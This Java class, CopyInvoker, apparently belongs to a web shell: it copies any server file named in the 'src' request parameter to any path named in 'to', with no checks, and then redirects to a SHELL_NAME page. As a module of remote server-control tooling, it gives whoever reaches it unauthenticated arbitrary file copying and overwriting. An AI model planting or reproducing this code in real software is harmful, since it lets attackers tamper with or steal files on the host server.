package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.*;

public class CopyInvoker extends DefaultInvoker {
    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            String src = request.getParameter("src");
            String to = request.getParameter("to");
            BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src)));
            BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to)));
            byte[] d = new byte[1024];
            int len = input.read(d);
            while (len != -1) {
                output.write(d, 0, len);
                len = input.read(d);
            }
            output.close();
            input.close();
            session.setAttribute(MSG, "Copy File Success!");
            response.sendRedirect(SHELL_NAME + "?o=index");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}